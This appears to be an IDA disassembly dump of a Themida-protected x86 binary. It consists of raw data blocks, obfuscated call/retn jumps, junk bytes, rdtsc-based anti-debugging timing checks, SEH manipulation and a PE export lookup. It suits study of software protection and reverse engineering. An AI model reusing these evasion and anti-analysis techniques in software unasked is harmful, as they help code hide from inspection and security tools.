858D502Ch, 615418Bh, 4403D0FFh dd 8B972824h, 68858ADFh, 84061582h, 3A0474C0h, 574C7507h dd 75AEC032h, 0FB2B5EFDh, 0C933FC52h, 33D18B49h, 0ACDB33C0h dd 0CD8AC132h, 0D68AEA8Ah, 0D16608B6h, 0D8D166EBh, 35660973h dd 81665041h, 0FE5449F3h, 33EB75CEh, 4FD333C8h, 0D2F7D575h dd 0C28BD1F7h, 6610C0C1h, 3B5AC18Bh, 5E0F74D0h, 0FF04C683h dd 1219D185h, 0FF5DE906h, 895EFFFFh, 121D4595h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 0D8A7C6B3h, 523D5B14h, 6E9h, 0EA416900h, 0F2A278Fh dd 68Eh, 45950100h, 8B06121Eh, 1219D185h, 0E9BD8906h, 0D1061207h dd 18D0FE0h, 0F5000000h, 275D8503h, 6A0612h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 8842B9C3h dd 515F89C8h, 0FEE061Eh, 0A82h, 85896000h, 6120075h, 2B61EBB6h dd 850F60F6h, 2, 61F85951h, 51B50196h, 66061212h, 53006AADh dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 60F9C490h, 5E9h, 36257600h, 14E99928h, 11000000h, 864EE295h dd 941881CCh, 4011D0D5h, 0A7ADBA15h, 618FCB49h, 6A02E0C1h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h dd 46000000h, 0AE03C356h, 8B0F45D8h, 1, 598503F8h, 6A061225h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h dd 45000000h, 9681C355h, 89A54F47h, 121FC59Dh, 7D950106h dd 96061219h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ch, 62C35141h, 0E39E064Eh, 7F3979C0h, 2F319D09h, 6AAD0612h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h dd 45000000h, 0CCEC355h, 0B99BC994h, 24247C81h, 10000000h dd 0FF870Fh, 10E90000h, 0F6000000h, 0A0F35C0Ch, 3E312BBDh dd 5AB64611h, 506A4B65h, 7E9h, 0E4AEB700h, 15CC3AB0h, 6A240489h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h dd 41000000h, 0CEE3C351h, 0F850FC4h, 60000000h, 8E9h, 6047B100h dd 405A6366h, 853161C4h, 6121FD1h, 2824448Bh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0F1C35646h, 800FA1EFh dd 0Eh, 0F1952360h, 906120Eh, 1212B585h, 890F6106h, 6 dd 263DBD01h, 0F500612h, 1F8Eh, 5E86000h, 9E000000h, 719CB995h dd 0DE959h, 0B0A10000h, 8E10E6B1h, 64512523h, 613FD063h dd 89240489h, 120391B5h, 8B858D06h, 0F8061541h, 6AD0FFh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 0F10F7BC3h, 820F8EECh, 1, 244403F8h, 9E924h, 0CAC50000h dd 6C75E7h, 89EFD23Eh, 6A1C2444h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 14042444h, 40000000h, 0F32C350h dd 681h, 0C5858900h, 0E9061228h, 13h, 880AA2B6h, 15870D80h dd 1EEDF377h, 0E176D44Ah, 0C6B143BFh, 1215C185h, 85C70006h dd 61583D2h, 0 ; --------------------------------------------------------------------------- mov dword ptr [ebp+6158270h], 0 push 0 push ebx call loc_5B4B95 and [ebx-3Dh], bl loc_5B4B95: ; CODE XREF: sub_5B38C3+12CAp pop ebx mov [esp+58h+var_54], ebx add [esp+58h+var_54], 1Ah inc ebx push ebx retn ; --------------------------------------------------------------------------- or [edi], dh pop es icebp xchg eax, esp sbb al, 53h push 0 push ebp call loc_5B4BB7 and [ebp-3Dh], bl loc_5B4BB7: ; CODE XREF: sub_5B38C3+12ECp pop ebp mov [esp+5Ch+var_58], ebp add [esp+5Ch+var_58], 1Dh inc ebp push ebp retn ; --------------------------------------------------------------------------- mov ebx, 34D295C1h sbb cl, dl adc ebp, [esi+eax*4+61h] pusha mov [ebp+6121B5Dh], edx clc popa retn 8 ; --------------------------------------------------------------------------- jns loc_5B4BF6 jmp loc_5B4BF6 ; --------------------------------------------------------------------------- and al, 60h sbb eax, 0B17F4E2Dh sbb edx, [ebx-423661D4h] loc_5B4BF6: ; CODE XREF: sub_5B38C3+131Bj ; sub_5B38C3+1321j mov eax, [ebp+6122559h] push 0 push ebx call loc_5B4C07 and [ebx-3Dh], bl loc_5B4C07: ; CODE XREF: sub_5B38C3+133Cp pop ebx mov [esp+64h+var_60], ebx add [esp+64h+var_60], 17h inc ebx push ebx retn ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- or al, [esi-47h] dec edx push 0 push ecx call loc_5B4C27 and [ecx-3Dh], bl loc_5B4C27: ; CODE XREF: sub_5B38C3+135Cp pop ecx mov [esp+6Ch+var_68], ecx add [esp+6Ch+var_68], 15h inc ecx push ecx retn ; --------------------------------------------------------------------------- mov ah, 40h jmp loc_5B4C43 ; --------------------------------------------------------------------------- dw 0D789h db 90h db 18h, 3Dh ; --------------------------------------------------------------------------- loc_5B4C43: ; CODE XREF: sub_5B38C3+1376j imul edx, 4 push 0 loc_5B4C48: ; CODE XREF: sub_5B38C3+13E5j push edi call loc_5B4C51 and [edi-3Dh], bl loc_5B4C51: ; CODE XREF: sub_5B38C3+1386p pop edi mov [esp+74h+var_70], edi add [esp+74h+var_70], 16h inc edi push edi retn ; --------------------------------------------------------------------------- db 0E2h, 13h, 0B7h ; --------------------------------------------------------------------------- cmc add eax, edx jmp loc_5B4C7B ; --------------------------------------------------------------------------- scasd pop ebx dec esi popf mov word ptr [edi-6], ds xchg ecx, eax push cs push ebp inc ecx fisub word ptr [ebx+52h] loc_5B4C7B: ; CODE XREF: sub_5B38C3+13A4j pusha mov [ebp+6121979h], edi or ecx, [ebp+6120345h] popa xchg eax, esi push 0 push ebp call loc_5B4C95 and [ebp-3Dh], bl loc_5B4C95: ; CODE XREF: sub_5B38C3+13CAp pop ebp mov [esp+7Ch+var_78], ebp add [esp+7Ch+var_78], 18h inc ebp push ebp retn ; --------------------------------------------------------------------------- mov word ptr [eax+75h], fs jg short loc_5B4C48 cld lodsd jmp loc_5B4CBB ; --------------------------------------------------------------------------- jmp fword ptr [edi-62h] ; --------------------------------------------------------------------------- dd 9DC2D6EAh db 18h, 0C0h, 64h ; --------------------------------------------------------------------------- loc_5B4CBB: ; CODE XREF: sub_5B38C3+13E9j cmp [esp+80h+var_5C], 10000000h ja loc_5B4DB9 pusha mov dh, 0D3h mov [ebp+6122E65h], eax popa nop jnp loc_5B4CF2 pusha push ecx pop ebx call loc_5B4CF0 xchg eax, edi mov ebx, 27C2F04Bh daa repne xor bl, cl rcr byte ptr [edi+0Eh], 0C2h loc_5B4CF0: ; CODE XREF: sub_5B38C3+141Ap pop edx popa loc_5B4CF2: ; CODE XREF: sub_5B38C3+1411j push eax push eax push edx push eax push edx jmp loc_5B4D0C ; --------------------------------------------------------------------------- lodsd db 2Eh mov bl, 7Dh shl dword ptr [esi-54h], cl xor al, [ebx-46h] retf ; --------------------------------------------------------------------------- db 26h dd 0A3F827CDh ; --------------------------------------------------------------------------- loc_5B4D0C: ; CODE XREF: sub_5B38C3+1434j rdtsc jg $+6 pop edx pop eax rdtsc push eax push edx jmp loc_5B4D27 ; --------------------------------------------------------------------------- mov eax, 6692CD4h mov bh, 92h pop es loc_5B4D27: ; CODE XREF: sub_5B38C3+1457j rdtsc jbe $+6 pop edx pop eax pop edx pop eax nop cld mov eax, [esp+7Ch+var_54] jno loc_5B4D45 mov [ebp+6121EF5h], eax loc_5B4D45: ; CODE XREF: sub_5B38C3+1476j nop jnb loc_5B4D5E push eax push edx push eax push edx rdtsc pop edx pop eax rdtsc push eax push edx rdtsc pop edx pop eax pop edx pop eax loc_5B4D5E: ; CODE XREF: sub_5B38C3+1483j push eax push eax push edx pusha mov ax, dx push eax push edx rdtsc pop edx pop eax popa rdtsc pusha push esi pop ebx mov eax, ecx popa pop edx pop eax nop jo loc_5B4D9C jo loc_5B4D9C jmp loc_5B4D9C ; --------------------------------------------------------------------------- dd 92D86E1h, 47CAA5F8h, 0B36144B3h, 9FA3F2BEh, 0A64BD1E0h ; --------------------------------------------------------------------------- loc_5B4D9C: ; CODE XREF: sub_5B38C3+14B4j ; sub_5B38C3+14BAj ... sub [ebp+6122375h], ecx lea eax, [ebp+615418Bh] jmp loc_5B4DB6 ; --------------------------------------------------------------------------- db 0A8h, 99h, 65h dd 0EFE27CC8h db 8, 0BCh ; --------------------------------------------------------------------------- loc_5B4DB6: ; CODE XREF: sub_5B38C3+14E5j call eax stc loc_5B4DB9: ; CODE XREF: sub_5B38C3+1400j jmp near ptr dword_5B458C+58Dh ; --------------------------------------------------------------------------- push 0 push ecx call loc_5B4DC9 and [ecx-3Dh], bl loc_5B4DC9: ; CODE XREF: sub_5B38C3+14FEp pop ecx mov [esp+84h+var_80], ecx add [esp+84h+var_80], 15h inc ecx push ecx retn ; --------------------------------------------------------------------------- push edx dec esi jmp loc_5B4DF1 ; --------------------------------------------------------------------------- dd 81CDB06Dh, 9EAA270Fh, 0BBA0417Fh, 0AEB28392h db 39h ; --------------------------------------------------------------------------- loc_5B4DF1: ; CODE XREF: sub_5B38C3:loc_5B3D4Ej ; sub_5B38C3+1518j lea eax, [ebp+615968Fh] sub [ebp+61232CDh], edi push eax pusha mov ah, 0CBh jg loc_5B4E15 jmp loc_5B4E15 ; --------------------------------------------------------------------------- dd 3A7D584Fh, 3D205517h ; --------------------------------------------------------------------------- cdq loc_5B4E15: ; CODE XREF: sub_5B38C3+153Ej ; sub_5B38C3+1544j popa mov [esp+0], eax jmp loc_5B4E25 ; --------------------------------------------------------------------------- dw 0DC68h dd 52B1C439h db 6Ah ; --------------------------------------------------------------------------- loc_5B4E25: ; CODE XREF: sub_5B38C3+1556j jo loc_5B4E3B jmp loc_5B4E3B ; --------------------------------------------------------------------------- dd 546308BCh, 1845A1Fh db 56h, 0D8h, 9Dh ; --------------------------------------------------------------------------- loc_5B4E3B: ; CODE XREF: sub_5B38C3:loc_5B4E25j ; sub_5B38C3+1568j push large dword ptr fs:0 push 0 push edx call sub_5B4E4D and [edx-3Dh], bl sub_5B38C3 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5B4E4D proc near ; CODE XREF: sub_5B38C3+1582p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_5B4E4D endp ; --------------------------------------------------------------------------- pushf mov ebp, 4E2349CFh push ebp add [ebp+24048B4Fh], esi push 0 push ebx call sub_5B4E75 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B4E75 proc near ; CODE XREF: Themida_:005B4E6Dp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 19h inc ebx push ebx retn sub_5B4E75 endp ; --------------------------------------------------------------------------- db 0AFh, 8, 0FCh dd 0E97A61EDh, 8, 2CAD3158h, 4D64CB70h, 261DB531h, 85890612h dd 6121399h, 8E9h, 51801C00h, 807AE739h, 2589640Fh, 0 ; --------------------------------------------------------------------------- push 0 push edi call sub_5B4EC3 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B4EC3 proc near ; CODE XREF: Themida_:005B4EBBp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Dh inc edi push edi retn sub_5B4EC3 endp ; --------------------------------------------------------------------------- db 25h dd 0A87921C5h, 0ED976B14h, 18A0FDAh, 0F9000000h, 9490858Dh dd 6A0615h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h dd 57470000h, 67B7C1C3h, 4990AEEBh, 89818E1Eh, 122719B5h dd 0EE906h, 70740000h, 0F4951B03h, 141CC77Fh, 0CD94700Fh dd 60016089h, 0AD85BB66h, 5FE961F9h, 6A000002h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h dd 8F5EC355h, 9D89544Bh, 6122009h, 0E8DB8Bh, 5D000000h dd 9489ED81h, 9CBC0615h, 830012FFh, 122855BDh, 18740006h dd 18A9858Bh, 0C60612h, 0F1858B00h, 0C6061213h, 95FF0000h dd 6122E3Dh, 74B5FF60h, 8D06157Eh, 157E7885h, 858D5006h dd 6158070h, 2195FF50h, 83061213h, 0F610CC4h, 108Ah, 0A850F00h dd 0E9000000h, 5, 0A2DC5B95h, 0B58DF5E8h, 6158070h, 0EE96060h dd 48000000h, 0A7348F61h, 0DBFD6126h, 0F0450C55h, 0D38166FCh dd 8B61F963h, 0BD8D61C3h, 612091Dh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ch, 0A8C35545h, 0C72A6F4Bh, 86563701h dd 2111B529h, 3E800612h, 3C840F00h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 4FA3C351h, 0C3EA2DA1h, 870FF963h, 6, 35D8D89h, 89A40612h dd 12163DB5h, 0FFBCE906h, 2BFCFFFFh, 178B0FC0h, 0E9000000h dd 12h, 60904F8Ch, 18F69FC9h, 8BB39CF3h, 0AEC082F0h, 6AAA341Fh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h dd 43000000h, 0E9F8C353h, 0Eh, 7467BAE7h, 318117F6h, 1960C0B4h dd 7B87973h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1A042444h, 46000000h, 5975C356h, 0F04BBB97h dd 6585C7C2h, 1061234h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 2E7BC353h dd 8DF83371h, 124E4B8Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1504h, 0C3554500h, 8B60545Ch, 122F158Dh dd 13860F06h, 0E9000000h, 0Eh, 86572D7Ch, 4880DD4Bh, 4C67427Eh dd 0FF61D766h, 56006AE1h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1604h, 0C3564600h, 299BF491h, 12346195h dd 245C8B06h, 0E8550Ch, 5D000000h, 9699ED81h, 838B0615h dd 0B8h, 7E748589h, 858D0615h, 6159482h, 0B88389h, 335D0000h dd 0E960C3C0h, 13h, 0AFE35BB2h, 9CA98B4Ah, 83A94881h, 0BB466CD3h dd 613462C8h, 666060F9h, 89BF54BEh, 1230A1BDh, 95296106h dd 6121885h, 9834858Dh, 0AE90615h, 6A000000h, 9776028Ch dd 0E567E14Eh, 8B6050E7h, 8E860C3h, 27000000h, 33FDC9DEh dd 5AEA0CA4h, 61615956h, 0F240489h, 1486h, 0FE900h, 7F6C0000h dd 59B350Fh, 1AB004CDh, 0E360EA78h, 35FF64A2h, 0 ; --------------------------------------------------------------------------- jmp loc_5B5224 ; --------------------------------------------------------------------------- db 38h, 2Fh, 58h dd 4FAF4E5Dh, 0FF16577Dh ; --------------------------------------------------------------------------- loc_5B5224: ; CODE XREF: Themida_:005B5214j mov large fs:0, esp pusha mov bh, 44h push edx mov ebx, [ebp+6121965h] pop ebx popa lea eax, [ebp+61598C4h] mov [ebp+6121751h], ebx mov [eax+1], esp mov [ebp+612246Dh], edi mov byte ptr [ebp+61215C1h], 4Fh jmp loc_5B525F ; --------------------------------------------------------------------------- dd 0F4121BAAh db 2, 0CEh, 0D5h ; --------------------------------------------------------------------------- loc_5B525F: ; CODE XREF: Themida_:005B5253j push 0D07E83BFh push eax push edx jp loc_5B5272 jz $+6 loc_5B5272: ; CODE XREF: Themida_:005B5266j rdtsc jnz loc_5B527C pusha popa loc_5B527C: ; CODE XREF: Themida_:005B5274j pop edx pop eax add dword ptr [esp], 2E49F06Bh js loc_5B5296 pusha mov [ebp+6121E29h], esi mov cx, bx popa loc_5B5296: ; CODE XREF: Themida_:005B5285j push dword ptr [ebp+6123101h] push 0 push edi call sub_5B52A7 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B52A7 proc near ; CODE XREF: Themida_:005B529Fp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 18h inc edi push edi retn sub_5B52A7 endp ; --------------------------------------------------------------------------- imul ecx, [eax-7Fh], 8DFC657Ch test [edx-7Eh], edi adc eax, 698D8906h add [edx], dl push es call eax push 0 push edx call sub_5B52D6 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B52D6 proc near ; CODE XREF: Themida_:005B52CEp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ch inc edx push edx retn sub_5B52D6 endp ; --------------------------------------------------------------------------- xchg bl, [esi-5B446D9Dh] xchg eax, esp add esi, eax pusha jno loc_5B52FB add di, 0E8CBh loc_5B52FB: ; CODE XREF: Themida_:005B52F0j mov esi, [ebp+6122DB5h] popa cld jmp loc_5B539E ; --------------------------------------------------------------------------- sub [ebp+6121DFDh], edx mov ebx, [esp+0Ch] push ebp call $+5 pop ebp sub ebp, 615983Eh mov eax, [ebp+61217F1h] mov [ebp+6123101h], eax mov eax, [ebp+612335Dh] mov [ebp+6120381h], eax mov eax, [ebp+6122FD1h] mov [ebp+612116Dh], eax mov byte ptr [ebp+61215C1h], 0 mov dword ptr [ebp+61583D2h], 0 lea eax, [ebp+61598C4h] mov [ebx+0B8h], eax pop ebp xor eax, eax retn ; --------------------------------------------------------------------------- mov [ebp+6123099h], ecx push 0 push eax call sub_5B5375 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B5375 proc near ; CODE XREF: Themida_:005B536Dp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_5B5375 endp ; --------------------------------------------------------------------------- lahf push ds jmp loc_5B539E ; --------------------------------------------------------------------------- dd 0F8AF6168h, 402ABE9Bh, 0EE3478F4h, 22AA4322h db 0A7h, 0F4h ; --------------------------------------------------------------------------- loc_5B539E: ; CODE XREF: Themida_:005B5303j ; Themida_:005B5387j mov esp, 12FF74h push 0 push ebp call sub_5B53AE and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B53AE proc near ; CODE XREF: Themida_:005B53A6p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 15h inc ebp push ebp retn sub_5B53AE endp ; --------------------------------------------------------------------------- neg dword ptr [eax+2Bh] test ds:89061204h, esi mov ch, 0F5h add dl, [edx] push es popa pusha jle loc_5B53EC jmp loc_5B53EC ; --------------------------------------------------------------------------- dw 95BAh dd 588FD57Dh, 8BA6D3BDh, 70987BA5h, 4C3ED2A7h ; --------------------------------------------------------------------------- loc_5B53EC: ; CODE XREF: Themida_:005B53CFj ; Themida_:005B53D5j or [ebp+6121221h], ebx popa pop large dword ptr fs:0 jmp loc_5B5411 ; --------------------------------------------------------------------------- xchg eax, edi dec edi cmc adc eax, 0FD1DB01Dh aas xor edx, ebp ffreep st(6) sub esp, [eax] xor edi, [ecx-6] loc_5B5411: ; CODE XREF: Themida_:005B53FAj add esp, 4 push 0 push eax call sub_5B541F and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B541F proc near ; CODE XREF: Themida_:005B5417p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Bh inc eax push eax retn sub_5B541F endp ; --------------------------------------------------------------------------- pop ss mov ds:1E6D4AA1h, al retf 0E9E2h ; --------------------------------------------------------------------------- dd 10h, 748D8466h, 7216D044h, 538E009Ch, 785864B8h, 83E961h dd 51530000h, 8B575652h, 661C245Ch, 5A4D3B81h, 68850Fh dd 0B70F0000h, 0D8033C43h, 503B8166h, 57850F45h, 8B000000h dd 5C03785Bh, 738B1C24h, 24740324h, 7B8B561Ch, 1C738B20h dd 20247C03h, 20247403h, 0FFC983FCh, 245C8B41h, 3178B1Ch dd 83202454h, 28A04C7h, 874C084h, 0E875033Ah, 0F2EB4243h dd 0E075033Ah, 0FE1D15Fh, 8B0F04B7h, 44038604h, 5E5F1C24h dd 0C25B595Ah, 0C0330008h, 0FFFFF1E9h, 0E9CA8BFFh, 148h dd 48h, 4Ch, 50h, 54h, 58h, 5Ch, 60h, 64h, 0A8h, 0ACh dd 0B0h, 0B4h, 0B8h, 0BCh, 0C0h, 0C4h, 0C8h, 0CCh, 0D0h dd 0D4h, 0D8h, 0DCh, 0E0h, 0E4h, 38h dup(0) ; --------------------------------------------------------------------------- cmp al, 55h pop ebx add [ebx], al retn 0B3h ; --------------------------------------------------------------------------- lea eax, [ebp+6159A02h] mov edi, [ebp+6120B79h] mov [ebp+6159B42h], eax or edi, 495E8C2Eh mov byte ptr [ebp+61215C1h], 54h xor esi, [ebp+61231EDh] push 0B79AEB95h mov ecx, 491DC64Dh add dword ptr [esp], 36C77C94h sub edx, [ebp+61212BDh] push dword ptr [ebp+6123101h] cld lea eax, [ebp+615827Ah] mov edx, 7274DBF5h call eax jmp loc_5B5686 ; --------------------------------------------------------------------------- db 0C7h, 1Fh, 97h dd 81ECF231h, 9E48A038h db 8Dh, 0F6h ; --------------------------------------------------------------------------- loc_5B5686: ; CODE XREF: Themida_:005B5674j mov [ebp+6159B46h], eax jp loc_5B5698 mov [ebp+6122999h], eax loc_5B5698: ; CODE XREF: Themida_:005B568Cj push eax pop edx jmp loc_5B56E1 ; --------------------------------------------------------------------------- mov ecx, eax movzx edi, di push esi mov esi, [ebp+6159B42h] mov [esi], eax add dword ptr [ebp+6159B42h], 4 pop esi retn ; --------------------------------------------------------------------------- pusha lea esi, [ebp+6159A02h] jmp short loc_5B56CE ; --------------------------------------------------------------------------- loc_5B56BF: ; CODE XREF: Themida_:005B56D1j push esi push 0 push dword ptr [esi] call dword ptr [ebp+6159B46h] pop esi add esi, 4 loc_5B56CE: ; CODE XREF: Themida_:005B56BDj cmp dword ptr [esi], 0 jnz short loc_5B56BF popa retn ; --------------------------------------------------------------------------- and edx, 48EA972h or [ebp+6121A1Dh], ecx loc_5B56E1: ; CODE XREF: Themida_:005B569Aj lea eax, [ebp+6159BDCh] mov esi, [ebp+6122C41h] mov [ebp+6121D65h], eax call sub_5B56FE mov ds:9F1E6884h, eax cmc ; =============== S U B R O U T I N E ======================================= sub_5B56FE proc near ; CODE XREF: Themida_:005B56F3p jge loc_5B570A mov ebx, [ebp+612180Dh] loc_5B570A: ; CODE XREF: sub_5B56FEj pop esi or [ebp+61208C1h], ecx add esi, 719Ah push ecx pusha sub eax, [ebp+6122DFDh] jmp loc_5B572F ; --------------------------------------------------------------------------- dd 6F976D0Dh, 9556F446h ; --------------------------------------------------------------------------- add ebp, esi aaa loc_5B572F: ; CODE XREF: sub_5B56FE+21j popa pop ecx mov edx, 40C8451Fh add edx, 0BF37D710h cmc loc_5B573D: ; CODE XREF: sub_5B5756+76j push dword ptr [esi] call sub_5B5756 imul ecx, [esi-6660ADBCh], 52h retn 5EC1h sub_5B56FE endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 3ADh dd 0EBBBF7C6h ; --------------------------------------------------------------------------- mov dl, 0A6h ; =============== S U B R O U T I N E ======================================= sub_5B5756 proc near ; CODE XREF: sub_5B56FE+41p var_2A = dword ptr -2Ah ; FUNCTION CHUNK AT 00583BD9 SIZE 0000005F BYTES ; FUNCTION CHUNK AT 00583E3D SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00583F57 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0058418B SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00586600 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00587136 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0058AE74 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0058BE67 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0058D29F SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058DD70 SIZE 00000010 BYTES pusha pusha popa mov [ebp+6120851h], ecx popa pop ecx pop edi sub edi, 209BFA8Ch mov [ebp+6121A95h], esi add edi, 76F0BCE1h pusha js loc_5B5781 sub [ebp+6120B71h], ebx loc_5B5781: ; CODE XREF: sub_5B5756+1Fj or ecx, [ebp+61215B5h] popa add edi, 0FABC9F5h ja loc_5B579A sub [ebp+61221BDh], ebx loc_5B579A: ; CODE XREF: sub_5B5756+38j mov [esi], edi cmc sub esi, 3 mov ebx, [ebp+6120B5Dh] dec esi dec edx jnz loc_5B57C6 movzx eax, bx jmp loc_5B57DA ; --------------------------------------------------------------------------- dw 4B16h dd 0E90DFACDh, 0B271FFB7h, 56CD6F04h ; --------------------------------------------------------------------------- cmp al, 69h loc_5B57C6: ; CODE XREF: sub_5B5756+52j mov [ebp+6121679h], edi jmp loc_5B573D ; --------------------------------------------------------------------------- db 51h, 25h, 57h dd 0EA2990CEh ; --------------------------------------------------------------------------- cmpsd dec esp loc_5B57DA: ; CODE XREF: sub_5B5756+5Bj jmp loc_5B58F3 ; --------------------------------------------------------------------------- db 0BCh dd 97608111h, 838A055Ch, 1D76A188h, 0DD7A0E0Ah, 3733538Fh dd 557D2F6Dh, 7F2D773Dh, 7DD77DD5h, 6DF73D57h, 73D575DFh dd 3D577DD7h, 0D55FEDF7h, 37335375h, 557D2F6Dh, 7F2D773Dh dd 7DD77DD5h, 6D171E57h, 602075DFh, 20206020h, 2060E0E0h dd 0F77B68ACh, 20A1E4A9h, 0A693B2D0h, 0B99DB7EDh, 0ACA3F291h dd 60206020h, 20206020h, 2060E0E0h, 0A335375h, 557D2F0Dh dd 60206020h, 0A7286020h, 50F0362Bh, 0B6F360C9h, 0F796A1EFh dd 0E3A7B4E0h, 0F47192B8h, 6DB9E9B3h, 602060F7h, 60206020h dd 6DF72020h, 73351ADFh, 3D577DD7h, 0D55FEDF7h, 37335375h dd 557D2F6Dh, 7F2D773Dh, 7DD77DD5h, 6DF73D57h, 73D575DFh dd 3D577DD7h, 0D55FEDF7h, 37335375h, 357D2F6Dh, 0E0A1Eh dd 0D25D3407h, 1E59A0A3h, 0Bh dup(0) db 3 dup(0) ; --------------------------------------------------------------------------- loc_5B58F3: ; CODE XREF: sub_5B5756:loc_5B57DAj jmp loc_5B651F ; --------------------------------------------------------------------------- push 615A041h jmp loc_583BD9 ; --------------------------------------------------------------------------- push 615A16Bh jmp loc_583BD9 ; --------------------------------------------------------------------------- push 615A23Fh jmp loc_583BD9 ; --------------------------------------------------------------------------- push 615A2FDh jmp loc_583BD9 ; --------------------------------------------------------------------------- push 615A390h jmp loc_583BD9 ; --------------------------------------------------------------------------- push 615A456h jmp loc_583BD9 ; --------------------------------------------------------------------------- push 615A591h jmp loc_583BD9 ; --------------------------------------------------------------------------- push 615A68Bh jmp loc_583BD9 ; --------------------------------------------------------------------------- push 615A731h jmp loc_583BD9 ; --------------------------------------------------------------------------- push 615A7E8h jmp loc_583BD9 ; --------------------------------------------------------------------------- push 615A897h jmp loc_583BD9 ; --------------------------------------------------------------------------- dw 0ABE6h dd 0E7E1764h, 6F1BB401h, 0D5BA53A0h, 3954ED3Ah, 1C9989D6h dd 754BBD2h, 0A5F21D6Eh, 3E8B840Ch, 0D926E9A5h, 0DFA8B0FFh dd 9C4DF4FDh, 1C72E9BFh, 9C1D34F3h, 14DD3E19h, 97F0A042h dd 0E447E047h, 986146D9h, 0C7C0C8F3h, 0B447E047h, 483A4D55h dd 3E4947E0h, 9D3368D3h, 18D5889h, 5B64C10Eh, 7BAFB776h dd 0A49F264h, 8D01CAFFh, 0F29C3582h, 0BED0E81Dh, 0EA4DF22Bh dd 0B8DEC243h, 7DA63718h, 4A439EEAh, 0DB10FF91h, 2A647508h dd 3C719EEFh, 0C3F81773h, 0CD1A85F0h, 80B55A34h, 7938D7B7h dd 0AC3FD0C0h, 7D64E8C7h, 0A6F31C72h, 0AEB2D1B1h, 5420624h dd 72580000h, 0F5BEF31Ch, 0FEB77699h, 784B808Fh, 828BE8E5h dd 0C2CCD493h, 0C549F18Ch, 1E6D85BAh, 0D54DF18Fh, 616128B9h dd 4924AECDh, 0DD12FD90h, 3875770Ah, 86000000h, 1D52BDCDh dd 6BD63954h, 0A5AEAAD8h, 0CDF901C0h, 1149F17Eh, 44D73858h dd 0A4BCF1FCh, 4DF180E7h, 0D14CCD0Ch, 4EAB252Eh, 0B72A7609h dd 0AE0BF0D0h, 0E92524h, 72770000h, 0F0979F1Ch, 9347DF5Fh dd 1FE81D88h, 456CA16Eh, 7B15048Ch, 21F42994h, 602D5A62h dd 434E47DFh, 20EF9FB0h, 0A36C22EBh, 5C306E56h, 404E47DFh dd 0A5E982CFh, 0DF305D16h, 6027D7AAh, 2347DF62h, 0EB78AD18h dd 2C34F3E2h, 49F163AEh, 64C10E19h, 0A0B7765Bh, 0F167EF98h dd 0EE818C4Dh, 0B0F777Fh, 964F5004h, 0A46B20F9h, 9E319C6Fh dd 0E3365556h, 5A2D62ADh, 7CE7BAEFh, 868904BDh, 2CEDA039h dd 0C746B15Eh, 0EDB356AAh, 66BC8328h, 31000009h, 0C962AF60h dd 66FF4CC3h, 59EEB24h, 9F38858Ah, 0E4D421EEh, 9F701DD1h dd 3DD2B952h, 0D63957F0h, 719EF089h, 0F3FB4A24h, 4DF4FF94h dd 14340AE7h, 0A8DD325Bh, 5C3142D5h, 503BF4B3h, 962F2CBFh dd 9F5817F8h, 16E91EF1h, 0D68F8683h, 0E62965B4h, 3E73DEB1h dd 14AAD86Bh, 7B3B7B93h, 3F474119h, 47E04648h, 32C5303Bh dd 0AE6D545Dh, 0F26620A6h, 